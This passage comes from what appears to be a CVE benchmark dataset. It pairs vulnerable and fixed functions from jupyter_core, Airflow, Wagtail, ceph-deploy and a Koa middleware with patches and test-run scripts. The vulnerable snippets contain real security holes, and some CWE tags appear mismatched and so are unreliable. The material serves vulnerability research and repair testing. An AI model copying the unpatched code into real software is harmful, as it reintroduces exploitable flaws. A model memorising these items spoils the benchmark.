-1);\n             const query = querystring.length ? '?' + querystring : '';\n \n-            ctx.status = 301;\n-            ctx.redirect(path + query);\n+            const newURL = new URL(path + query, ctx.request.URL);\n+\n+            if (ctx.origin === newURL.origin) {\n+                ctx.status = 301;\n+                ctx.redirect(path + query);\n+            }\n         }\n \n         if (!opts.defer) {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23384:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/koa-remove-trailing-slashes\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpm test\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-23384:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/koa-remove-trailing-slashes\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --grep \"should work in a normal scenarion|should not redirect on url that already have been modified|should not redirect on url that is the root|should not redirect on url and url has no trailing slash|should not redirect on url with query and path has no trailing slash\""}
{"cve_id": "CVE-2022-39286", "cve_description": "Jupyter Core is a package for the core common functionality of Jupyter projects. Jupyter Core prior to version 4.11.2 contains an arbitrary code execution vulnerability in `jupyter_core` that stems from `jupyter_core` executing untrusted files in CWD. This vulnerability allows one user to run code as another. Version 4.11.2 contains a patch for this issue. There are no known workarounds.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/jupyter/jupyter_core", "patch_url": ["https://github.com/jupyter/jupyter_core/commit/1118c8ce01800cb689d51f655f5ccef19516e283"], "programing_language": "Python", "vul_func": [{"id": "vul_py_45_1", "commit": "d3f61f3", "file_path": "jupyter_core/application.py", "start_line": 88, "end_line": 93, "snippet": "    def config_file_paths(self):\n        path = jupyter_config_path()\n        if self.config_dir not in path:\n            path.insert(0, self.config_dir)\n        path.insert(0, os.getcwd())\n        return path"}], "fix_func": [{"id": "fix_py_45_1", "commit": "1118c8ce01800cb689d51f655f5ccef19516e283", "file_path": "jupyter_core/application.py", "start_line": 88, "end_line": 93, "snippet": "    def config_file_paths(self):\n        path = jupyter_config_path()\n        if self.config_dir not in path:\n            # Insert config dir as first item.\n            path.insert(0, self.config_dir)\n        return path"}], "vul_patch": "--- a/jupyter_core/application.py\n+++ b/jupyter_core/application.py\n@@ -1,6 +1,6 @@\n     def config_file_paths(self):\n         path = jupyter_config_path()\n         if self.config_dir not in path:\n+            # Insert config dir as first item.\n             path.insert(0, self.config_dir)\n-        path.insert(0, os.getcwd())\n         return path\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-39286:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/jupyter_core\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-39286/bin/python -m pytest jupyter_core/tests/test_application.py::test_load_config jupyter_core/tests/test_application.py::test_load_config_no_cwd jupyter_core/tests/test_application.py::test_load_bad_config -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-39286:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/jupyter_core\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-39286/bin/python -m pytest jupyter_core/tests/test_application.py -k \"not test_load_config\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2020-17526", "cve_description": "Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A. This does not affect users who have changed the default value for `[webserver] secret_key` config.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/a8900fa5f2b8963e9f57ba4ae5520a5d339aeaad", "https://github.com/apache/airflow/commit/fe6d00a54f83468e296777d3b83b65a2ae7169ec", "https://github.com/apache/airflow/commit/6b065840323f9a4fc8e372b458d26e419e4fa99b", "https://github.com/apache/airflow/commit/2f3b1c780472afd4c8a93633e6633feb7083792e", "https://github.com/apache/airflow/commit/97b2735d65e95c4633966667b6db3908540f3937", "https://github.com/apache/airflow/commit/9e01476a50b9be27c4b1e6c6e24d36f290629195", "https://github.com/apache/airflow/commit/dfa7b26ddaca80ee8fd9915ee9f6eac50fac77f6"], "programing_language": "Python", "vul_func": [{"id": "vul_py_89_1", "commit": "2f3b1c7", "file_path": "airflow/www_rbac/app.py", "start_line": "50", "end_line": "280", "snippet": "def create_app(config=None, session=None, testing=False, app_name=\"Airflow\"):\n    global app, appbuilder\n    app = Flask(__name__)\n    if conf.getboolean('webserver', 'ENABLE_PROXY_FIX'):\n        app.wsgi_app = ProxyFix(\n            app.wsgi_app,\n            num_proxies=conf.get(\"webserver\", \"PROXY_FIX_NUM_PROXIES\", fallback=None),\n            x_for=conf.getint(\"webserver\", \"PROXY_FIX_X_FOR\", fallback=1),\n            x_proto=conf.getint(\"webserver\", \"PROXY_FIX_X_PROTO\", fallback=1),\n            x_host=conf.getint(\"webserver\", \"PROXY_FIX_X_HOST\", fallback=1),\n            x_port=conf.getint(\"webserver\", \"PROXY_FIX_X_PORT\", fallback=1),\n            x_prefix=conf.getint(\"webserver\", \"PROXY_FIX_X_PREFIX\", fallback=1)\n        )\n    app.secret_key = conf.get('webserver', 'SECRET_KEY')\n    app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n\n    app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n    app.config['APP_NAME'] = app_name\n    app.config['TESTING'] = testing\n\n    app.config['SESSION_COOKIE_HTTPONLY'] = True\n    app.config['SESSION_COOKIE_SECURE'] = conf.getboolean('webserver', 'COOKIE_SECURE')\n    app.config['SESSION_COOKIE_SAMESITE'] = conf.get('webserver', 'COOKIE_SAMESITE')\n\n    if config:\n        app.config.from_mapping(config)\n\n    if 'SQLALCHEMY_ENGINE_OPTIONS' not in app.config:\n        app.config['SQLALCHEMY_ENGINE_OPTIONS'] = settings.prepare_engine_args()\n\n    csrf.init_app(app)\n\n    db = SQLA(app)\n\n    from airflow import api\n    api.load_auth()\n    api.API_AUTH.api_auth.init_app(app)\n\n    # flake8: noqa: F841\n    cache = Cache(app=app, config={'CACHE_TYPE': 'filesystem', 'CACHE_DIR': '/tmp'})\n\n    from airflow.www_rbac.blueprints import routes\n    app.register_blueprint(routes)\n\n    configure_logging()\n    configure_manifest_files(app)\n\n    with app.app_context():\n        from airflow.www_rbac.security import AirflowSecurityManager\n        security_manager_class = app.config.get('SECURITY_MANAGER_CLASS') or \\\n            AirflowSecurityManager\n\n        if not issubclass(security_manager_class, AirflowSecurityManager):\n            raise Exception(\n                \"\"\"Your CUSTOM_SECURITY_MANAGER must now extend AirflowSecurityManager,\n                 not FAB's security manager.\"\"\")\n\n        appbuilder = AppBuilder(\n            app,\n            db.session if not session else session,\n            security_manager_class=security_manager_class,\n            base_template='airflow/master.html',\n            update_perms=conf.getboolean('webserver', 'UPDATE_FAB_PERMS'))\n\n        def init_views(appbuilder):\n            from airflow.www_rbac import views\n            # Remove the session from scoped_session registry to avoid\n            # reusing a session with a disconnected connection\n            appbuilder.session.remove()\n            appbuilder.add_view_no_menu(views.Airflow())\n            appbuilder.add_view_no_menu(views.DagModelView())\n            appbuilder.add_view(views.DagRunModelView,\n                                \"DAG Runs\",\n                                category=\"Browse\",\n                                category_icon=\"fa-globe\")\n            appbuilder.add_view(views.JobModelView,\n                                \"Jobs\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.LogModelView,\n                                \"Logs\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.SlaMissModelView,\n                                \"SLA Misses\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.TaskInstanceModelView,\n                                \"Task Instances\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.TaskRescheduleModelView,\n                                \"Task Reschedules\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.ConfigurationView,\n                                \"Configurations\",\n                                category=\"Admin\",\n                                category_icon=\"fa-user\")\n            appbuilder.add_view(views.ConnectionModelView,\n                                \"Connections\",\n                                category=\"Admin\")\n            appbuilder.add_view(views.PoolModelView,\n                                \"Pools\",\n                                category=\"Admin\")\n            appbuilder.add_view(views.VariableModelView,\n                                \"Variables\",\n                                category=\"Admin\")\n            appbuilder.add_view(views.XComModelView,\n                                \"XComs\",\n                                category=\"Admin\")\n\n            if \"dev\" in version.version:\n                airflow_doc_site = \"https://airflow.readthedocs.io/en/latest\"\n            else:\n                airflow_doc_site = 'https://airflow.apache.org/docs/{}'.format(version.version)\n\n            appbuilder.add_link(\"Documentation\",\n                                href=airflow_doc_site,\n                                category=\"Docs\",\n                                category_icon=\"fa-cube\")\n            appbuilder.add_link(\"GitHub\",\n                                href='https://github.com/apache/airflow',\n                                category=\"Docs\")\n            appbuilder.add_view(views.VersionView,\n                                'Version',\n                                category='About',\n                                category_icon='fa-th')\n\n            def integrate_plugins():\n                \"\"\"Integrate plugins to the context\"\"\"\n                from airflow.plugins_manager import (\n                    flask_appbuilder_views, flask_appbuilder_menu_links\n                )\n\n                for v in flask_appbuilder_views:\n                    log.debug(\"Adding view %s\", v[\"name\"])\n                    appbuilder.add_view(v[\"view\"],\n                                        v[\"name\"],\n                                        category=v[\"category\"])\n                for ml in sorted(flask_appbuilder_menu_links, key=lambda x: x[\"name\"]):\n                    log.debug(\"Adding menu link %s\", ml[\"name\"])\n                    appbuilder.add_link(ml[\"name\"],\n                                        href=ml[\"href\"],\n                                        category=ml[\"category\"],\n                                        category_icon=ml[\"category_icon\"])\n\n            integrate_plugins()\n            # Garbage collect old permissions/views after they have been modified.\n            # Otherwise, when the name of a view or menu is changed, the framework\n            # will add the new Views and Menus names to the backend, but will not\n            # delete the old ones.\n\n        def init_plugin_blueprints(app):\n            from airflow.plugins_manager import flask_blueprints\n\n            for bp in flask_blueprints:\n                log.debug(\"Adding blueprint %s:%s\", bp[\"name\"], bp[\"blueprint\"].import_name)\n                app.register_blueprint(bp[\"blueprint\"])\n\n        init_views(appbuilder)\n        init_plugin_blueprints(app)\n\n        if conf.getboolean('webserver', 'UPDATE_FAB_PERMS'):\n            security_manager = appbuilder.sm\n            security_manager.sync_roles()\n\n        from airflow.www_rbac.api.experimental import endpoints as e\n        # required for testing purposes otherwise the module retains\n        # a link to the default_auth\n        if app.config['TESTING']:\n            if six.PY2:\n                reload(e) # noqa\n            else:\n                import importlib\n                importlib.reload(e)\n\n        app.register_blueprint(e.api_experimental, url_prefix='/api/experimental')\n\n        server_timezone = conf.get('core', 'default_timezone')\n        if server_timezone == \"system\":\n            server_timezone = pendulum.local_timezone().name\n        elif server_timezone == \"utc\":\n            server_timezone = \"UTC\"\n\n        default_ui_timezone = conf.get('webserver', 'default_ui_timezone')\n        if default_ui_timezone == \"system\":\n            default_ui_timezone = pendulum.local_timezone().name\n        elif default_ui_timezone == \"utc\":\n            default_ui_timezone = \"UTC\"\n        if not default_ui_timezone:\n            default_ui_timezone = server_timezone\n\n        @app.context_processor\n        def jinja_globals():  # pylint: disable=unused-variable\n\n            globals = {\n                'server_timezone': server_timezone,\n                'default_ui_timezone': default_ui_timezone,\n                'hostname': socket.getfqdn() if conf.getboolean(\n                    'webserver', 'EXPOSE_HOSTNAME', fallback=True) else 'redact',\n                'navbar_color': conf.get('webserver', 'NAVBAR_COLOR'),\n                'log_fetch_delay_sec': conf.getint(\n                    'webserver', 'log_fetch_delay_sec', fallback=2),\n                'log_auto_tailing_offset': conf.getint(\n                    'webserver', 'log_auto_tailing_offset', fallback=30),\n                'log_animation_speed': conf.getint(\n                    'webserver', 'log_animation_speed', fallback=1000),\n                'state_color_mapping': STATE_COLORS\n            }\n\n            if 'analytics_tool' in conf.getsection('webserver'):\n                globals.update({\n                    'analytics_tool': conf.get('webserver', 'ANALYTICS_TOOL'),\n                    'analytics_id': conf.get('webserver', 'ANALYTICS_ID')\n                })\n\n            return globals\n\n        @app.teardown_appcontext\n        def shutdown_session(exception=None):\n            settings.Session.remove()\n\n        @app.after_request\n        def apply_caching(response):\n            _x_frame_enabled = conf.getboolean('webserver', 'X_FRAME_ENABLED', fallback=True)\n            if not _x_frame_enabled:\n                response.headers[\"X-Frame-Options\"] = \"DENY\"\n            return response\n\n        @app.before_request\n        def make_session_permanent():\n            flask_session.permanent = True\n\n    return app, appbuilder"}], "fix_func": [{"id": "fix_py_89_1", "commit": "a8900fa", "file_path": "airflow/www_rbac/app.py", "start_line": "51", "end_line": "286", "snippet": "def create_app(config=None, session=None, testing=False, app_name=\"Airflow\"):\n    global app, appbuilder\n    app = Flask(__name__)\n    if conf.getboolean('webserver', 'ENABLE_PROXY_FIX'):\n        app.wsgi_app = ProxyFix(\n            app.wsgi_app,\n            num_proxies=conf.get(\"webserver\", \"PROXY_FIX_NUM_PROXIES\", fallback=None),\n            x_for=conf.getint(\"webserver\", \"PROXY_FIX_X_FOR\", fallback=1),\n            x_proto=conf.getint(\"webserver\", \"PROXY_FIX_X_PROTO\", fallback=1),\n            x_host=conf.getint(\"webserver\", \"PROXY_FIX_X_HOST\", fallback=1),\n            x_port=conf.getint(\"webserver\", \"PROXY_FIX_X_PORT\", fallback=1),\n            x_prefix=conf.getint(\"webserver\", \"PROXY_FIX_X_PREFIX\", fallback=1)\n        )\n    app.secret_key = conf.get('webserver', 'SECRET_KEY')\n    app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n\n    if conf.get('webserver', 'SECRET_KEY') == \"temporary_key\":\n        app.secret_key = os.urandom(16)\n    else:\n        app.secret_key = conf.get('webserver', 'SECRET_KEY')\n\n    app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n    app.config['APP_NAME'] = app_name\n    app.config['TESTING'] = testing\n\n    app.config['SESSION_COOKIE_HTTPONLY'] = True\n    app.config['SESSION_COOKIE_SECURE'] = conf.getboolean('webserver', 'COOKIE_SECURE')\n    app.config['SESSION_COOKIE_SAMESITE'] = conf.get('webserver', 'COOKIE_SAMESITE')\n\n    if config:\n        app.config.from_mapping(config)\n\n    if 'SQLALCHEMY_ENGINE_OPTIONS' not in app.config:\n        app.config['SQLALCHEMY_ENGINE_OPTIONS'] = settings.prepare_engine_args()\n\n    csrf.init_app(app)\n\n    db = SQLA(app)\n\n    from airflow import api\n    api.load_auth()\n    api.API_AUTH.api_auth.init_app(app)\n\n    # flake8: noqa: F841\n    cache = Cache(app=app, config={'CACHE_TYPE': 'filesystem', 'CACHE_DIR': '/tmp'})\n\n    from airflow.www_rbac.blueprints import routes\n    app.register_blueprint(routes)\n\n    configure_logging()\n    configure_manifest_files(app)\n\n    with app.app_context():\n        from airflow.www_rbac.security import AirflowSecurityManager\n        security_manager_class = app.config.get('SECURITY_MANAGER_CLASS') or \\\n            AirflowSecurityManager\n\n        if not issubclass(security_manager_class, AirflowSecurityManager):\n            raise Exception(\n                \"\"\"Your CUSTOM_SECURITY_MANAGER must now extend AirflowSecurityManager,\n                 not FAB's security manager.\"\"\")\n\n        appbuilder = AppBuilder(\n            app,\n            db.session if not session else session,\n            security_manager_class=security_manager_class,\n            base_template='airflow/master.html',\n            update_perms=conf.getboolean('webserver', 'UPDATE_FAB_PERMS'))\n\n        def init_views(appbuilder):\n            from airflow.www_rbac import views\n            # Remove the session from scoped_session registry to avoid\n            # reusing a session with a disconnected connection\n            appbuilder.session.remove()\n            appbuilder.add_view_no_menu(views.Airflow())\n            appbuilder.add_view_no_menu(views.DagModelView())\n            appbuilder.add_view(views.DagRunModelView,\n                                \"DAG Runs\",\n                                category=\"Browse\",\n                                category_icon=\"fa-globe\")\n            appbuilder.add_view(views.JobModelView,\n                                \"Jobs\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.LogModelView,\n                                \"Logs\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.SlaMissModelView,\n                                \"SLA Misses\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.TaskInstanceModelView,\n                                \"Task Instances\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.TaskRescheduleModelView,\n                                \"Task Reschedules\",\n                                category=\"Browse\")\n            appbuilder.add_view(views.ConfigurationView,\n                                \"Configurations\",\n                                category=\"Admin\",\n                                category_icon=\"fa-user\")\n            appbuilder.add_view(views.ConnectionModelView,\n                                \"Connections\",\n                                category=\"Admin\")\n            appbuilder.add_view(views.PoolModelView,\n                                \"Pools\",\n                                category=\"Admin\")\n            appbuilder.add_view(views.VariableModelView,\n                                \"Variables\",\n                                category=\"Admin\")\n            appbuilder.add_view(views.XComModelView,\n                                \"XComs\",\n                                category=\"Admin\")\n\n            if \"dev\" in version.version:\n                airflow_doc_site = \"https://airflow.readthedocs.io/en/latest\"\n            else:\n                airflow_doc_site = 'https://airflow.apache.org/docs/{}'.format(version.version)\n\n            appbuilder.add_link(\"Documentation\",\n                                href=airflow_doc_site,\n                                category=\"Docs\",\n                                category_icon=\"fa-cube\")\n            appbuilder.add_link(\"GitHub\",\n                                href='https://github.com/apache/airflow',\n                                category=\"Docs\")\n            appbuilder.add_view(views.VersionView,\n                                'Version',\n                                category='About',\n                                category_icon='fa-th')\n\n            def integrate_plugins():\n                \"\"\"Integrate plugins to the context\"\"\"\n                from airflow.plugins_manager import (\n                    flask_appbuilder_views, flask_appbuilder_menu_links\n                )\n\n                for v in flask_appbuilder_views:\n                    log.debug(\"Adding view %s\", v[\"name\"])\n                    appbuilder.add_view(v[\"view\"],\n                                        v[\"name\"],\n                                        category=v[\"category\"])\n                for ml in sorted(flask_appbuilder_menu_links, key=lambda x: x[\"name\"]):\n                    log.debug(\"Adding menu link %s\", ml[\"name\"])\n                    appbuilder.add_link(ml[\"name\"],\n                                        href=ml[\"href\"],\n                                        category=ml[\"category\"],\n                                        category_icon=ml[\"category_icon\"])\n\n            integrate_plugins()\n            # Garbage collect old permissions/views after they have been modified.\n            # Otherwise, when the name of a view or menu is changed, the framework\n            # will add the new Views and Menus names to the backend, but will not\n            # delete the old ones.\n\n        def init_plugin_blueprints(app):\n            from airflow.plugins_manager import flask_blueprints\n\n            for bp in flask_blueprints:\n                log.debug(\"Adding blueprint %s:%s\", bp[\"name\"], bp[\"blueprint\"].import_name)\n                app.register_blueprint(bp[\"blueprint\"])\n\n        init_views(appbuilder)\n        init_plugin_blueprints(app)\n\n        if conf.getboolean('webserver', 'UPDATE_FAB_PERMS'):\n            security_manager = appbuilder.sm\n            security_manager.sync_roles()\n\n        from airflow.www_rbac.api.experimental import endpoints as e\n        # required for testing purposes otherwise the module retains\n        # a link to the default_auth\n        if app.config['TESTING']:\n            if six.PY2:\n                reload(e) # noqa\n            else:\n                import importlib\n                importlib.reload(e)\n\n        app.register_blueprint(e.api_experimental, url_prefix='/api/experimental')\n\n        server_timezone = conf.get('core', 'default_timezone')\n        if server_timezone == \"system\":\n            server_timezone = pendulum.local_timezone().name\n        elif server_timezone == \"utc\":\n            server_timezone = \"UTC\"\n\n        default_ui_timezone = conf.get('webserver', 'default_ui_timezone')\n        if default_ui_timezone == \"system\":\n            default_ui_timezone = pendulum.local_timezone().name\n        elif default_ui_timezone == \"utc\":\n            default_ui_timezone = \"UTC\"\n        if not default_ui_timezone:\n            default_ui_timezone = server_timezone\n\n        @app.context_processor\n        def jinja_globals():  # pylint: disable=unused-variable\n\n            globals = {\n                'server_timezone': server_timezone,\n                'default_ui_timezone': default_ui_timezone,\n                'hostname': socket.getfqdn() if conf.getboolean(\n                    'webserver', 'EXPOSE_HOSTNAME', fallback=True) else 'redact',\n                'navbar_color': conf.get('webserver', 'NAVBAR_COLOR'),\n                'log_fetch_delay_sec': conf.getint(\n                    'webserver', 'log_fetch_delay_sec', fallback=2),\n                'log_auto_tailing_offset': conf.getint(\n                    'webserver', 'log_auto_tailing_offset', fallback=30),\n                'log_animation_speed': conf.getint(\n                    'webserver', 'log_animation_speed', fallback=1000),\n                'state_color_mapping': STATE_COLORS\n            }\n\n            if 'analytics_tool' in conf.getsection('webserver'):\n                globals.update({\n                    'analytics_tool': conf.get('webserver', 'ANALYTICS_TOOL'),\n                    'analytics_id': conf.get('webserver', 'ANALYTICS_ID')\n                })\n\n            return globals\n\n        @app.teardown_appcontext\n        def shutdown_session(exception=None):\n            settings.Session.remove()\n\n        @app.after_request\n        def apply_caching(response):\n            _x_frame_enabled = conf.getboolean('webserver', 'X_FRAME_ENABLED', fallback=True)\n            if not _x_frame_enabled:\n                response.headers[\"X-Frame-Options\"] = \"DENY\"\n            return response\n\n        @app.before_request\n        def make_session_permanent():\n            flask_session.permanent = True\n\n    return app, appbuilder"}], "vul_patch": "--- a/airflow/www_rbac/app.py\n+++ b/airflow/www_rbac/app.py\n@@ -14,6 +14,11 @@\n     app.secret_key = conf.get('webserver', 'SECRET_KEY')\n     app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=settings.get_session_lifetime_config())\n \n+    if conf.get('webserver', 'SECRET_KEY') == \"temporary_key\":\n+        app.secret_key = os.urandom(16)\n+    else:\n+        app.secret_key = conf.get('webserver', 'SECRET_KEY')\n+\n     app.config.from_pyfile(settings.WEBSERVER_CONFIG, silent=True)\n     app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n     app.config['APP_NAME'] = app_name\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-45809", "cve_description": "Wagtail is an open source content management system built on Django. A user with a limited-permission editor account for the Wagtail admin can make a direct URL request to the admin view that handles bulk actions on user accounts. While authentication rules prevent the user from making any changes, the error message discloses the display names of user accounts, and by modifying URL parameters, the user can retrieve the display name for any user. The vulnerability is not exploitable by an ordinary site visitor without access to the Wagtail admin. Patched versions have been released as Wagtail 4.1.8 (LTS), 5.0.5 and 5.1.3. The fix is also included in Release Candidate 1 of the forthcoming Wagtail 5.2 release. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/wagtail/wagtail", "patch_url": ["https://github.com/wagtail/wagtail/commit/bc96aed6ac53f998b2f4c4bf97e2d4f5fe337e5b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_70_1", "commit": "190af78", "file_path": "wagtail/users/views/bulk_actions/user_bulk_action.py", "start_line": 6, "end_line": 8, "snippet": "class UserBulkAction(BulkAction):\n    models = [get_user_model()]"}], "fix_func": [{"id": "fix_py_70_1", "commit": "bc96aed6ac53f998b2f4c4bf97e2d4f5fe337e5b", "file_path": "wagtail/users/views/bulk_actions/user_bulk_action.py", "start_line": 8, "end_line": 14, "snippet": "User = get_user_model()\n\n\nclass UserBulkAction(PermissionCheckedMixin, BulkAction):\n    models = [User]\n    permission_policy = ModelPermissionPolicy(User)\n    any_permission_required = [\"add\", \"change\", \"delete\"]"}], "vul_patch": "--- a/wagtail/users/views/bulk_actions/user_bulk_action.py\n+++ b/wagtail/users/views/bulk_actions/user_bulk_action.py\n@@ -1,3 +1,7 @@\n+User = get_user_model()\n \n-class UserBulkAction(BulkAction):\n-    models = [get_user_model()]\n+\n+class UserBulkAction(PermissionCheckedMixin, BulkAction):\n+    models = [User]\n+    permission_policy = ModelPermissionPolicy(User)\n+    any_permission_required = [\"add\", \"change\", \"delete\"]\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-45809:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/wagtail\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-45809/bin/python runtests.py wagtail.users.tests.test_bulk_actions.test_bulk_delete.TestUserDeleteView.test_user_permissions_required\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-45809:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/wagtail\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-45809/bin/python runtests.py wagtail.users.tests.test_bulk_actions.test_bulk_delete\n"}
{"cve_id": "CVE-2015-3010", "cve_description": "ceph-deploy before 1.5.23 uses weak permissions (644) for ceph/ceph.client.admin.keyring, which allows local users to obtain sensitive information by reading the file.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/ceph/ceph-deploy", "patch_url": ["https://github.com/ceph/ceph-deploy/commit/eee56770393bf19ed2dd5389226c6190c08dee3f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_228_1", "commit": "764d6e3", "file_path": "ceph_deploy/gatherkeys.py", "start_line": 32, "end_line": 76, "snippet": "def gatherkeys(args):\n    # client.admin\n    keyring = '/etc/ceph/{cluster}.client.admin.keyring'.format(\n        cluster=args.cluster)\n    r = fetch_file(\n        args=args,\n        frompath=keyring,\n        topath='{cluster}.client.admin.keyring'.format(\n            cluster=args.cluster),\n        _hosts=args.mon,\n        )\n    if not r:\n        raise exc.KeyNotFoundError(keyring, args.mon)\n\n    # mon.\n    keyring = '/var/lib/ceph/mon/{cluster}-{{hostname}}/keyring'.format(\n        cluster=args.cluster)\n    r = fetch_file(\n        args=args,\n        frompath=keyring,\n        topath='{cluster}.mon.keyring'.format(cluster=args.cluster),\n        _hosts=args.mon,\n        )\n    if not r:\n        raise exc.KeyNotFoundError(keyring, args.mon)\n\n    # bootstrap\n    for what in ['osd', 'mds', 'rgw']:\n        keyring = '/var/lib/ceph/bootstrap-{what}/{cluster}.keyring'.format(\n            what=what,\n            cluster=args.cluster)\n        r = fetch_file(\n            args=args,\n            frompath=keyring,\n            topath='{cluster}.bootstrap-{what}.keyring'.format(\n                cluster=args.cluster,\n                what=what),\n            _hosts=args.mon,\n            )\n        if not r:\n            if what in ['osd', 'mds']:\n                raise exc.KeyNotFoundError(keyring, args.mon)\n            else:\n                LOG.warning((\"No RGW bootstrap key found. Will not be able to \"\n                             \"deploy RGW daemons\"))"}, {"id": "vul_py_228_2", "commit": "764d6e3", "file_path": "ceph_deploy/new.py", "start_line": 207, "end_line": 225, "snippet": "def new_mon_keyring(args):\n    LOG.debug('Creating a random mon key...')\n    mon_keyring = '[mon.]\\nkey = %s\\ncaps mon = allow *\\n' % generate_auth_key()\n\n    keypath = '{name}.mon.keyring'.format(\n        name=args.cluster,\n        )\n\n    LOG.debug('Writing monitor keyring to %s...', keypath)\n    tmp = '%s.tmp' % keypath\n    with file(tmp, 'w') as f:\n        f.write(mon_keyring)\n    try:\n        os.rename(tmp, keypath)\n    except OSError as e:\n        if e.errno == errno.EEXIST:\n            raise exc.ClusterExistsError(keypath)\n        else:\n            raise"}], "fix_func": [{"id": "fix_py_228_1", "commit": "eee5677", "file_path": "ceph_deploy/gatherkeys.py", "start_line": 32, "end_line": 80, "snippet": "def gatherkeys(args):\n    oldmask = os.umask(077)\n    try:\n        # client.admin\n        keyring = '/etc/ceph/{cluster}.client.admin.keyring'.format(\n            cluster=args.cluster)\n        r = fetch_file(\n            args=args,\n            frompath=keyring,\n            topath='{cluster}.client.admin.keyring'.format(\n                cluster=args.cluster),\n            _hosts=args.mon,\n            )\n        if not r:\n            raise exc.KeyNotFoundError(keyring, args.mon)\n\n        # mon.\n        keyring = '/var/lib/ceph/mon/{cluster}-{{hostname}}/keyring'.format(\n            cluster=args.cluster)\n        r = fetch_file(\n            args=args,\n            frompath=keyring,\n            topath='{cluster}.mon.keyring'.format(cluster=args.cluster),\n            _hosts=args.mon,\n            )\n        if not r:\n            raise exc.KeyNotFoundError(keyring, args.mon)\n\n        # bootstrap\n        for what in ['osd', 'mds', 'rgw']:\n            keyring = '/var/lib/ceph/bootstrap-{what}/{cluster}.keyring'.format(\n                what=what,\n                cluster=args.cluster)\n            r = fetch_file(\n                args=args,\n                frompath=keyring,\n                topath='{cluster}.bootstrap-{what}.keyring'.format(\n                    cluster=args.cluster,\n                    what=what),\n                _hosts=args.mon,\n                )\n            if not r:\n                if what in ['osd', 'mds']:\n                    raise exc.KeyNotFoundError(keyring, args.mon)\n                else:\n                    LOG.warning((\"No RGW bootstrap key found. Will not be able to \"\n                                 \"deploy RGW daemons\"))\n    finally:\n        os.umask(oldmask)"}, {"id": "fix_py_228_2", "commit": "eee5677", "file_path": "ceph_deploy/new.py", "start_line": 207, "end_line": 228, "snippet": "def new_mon_keyring(args):\n    LOG.debug('Creating a random mon key...')\n    mon_keyring = '[mon.]\\nkey = %s\\ncaps mon = allow *\\n' % generate_auth_key()\n\n    keypath = '{name}.mon.keyring'.format(\n        name=args.cluster,\n        )\n    oldmask = os.umask(077)\n    LOG.debug('Writing monitor keyring to %s...', keypath)\n    try:\n        tmp = 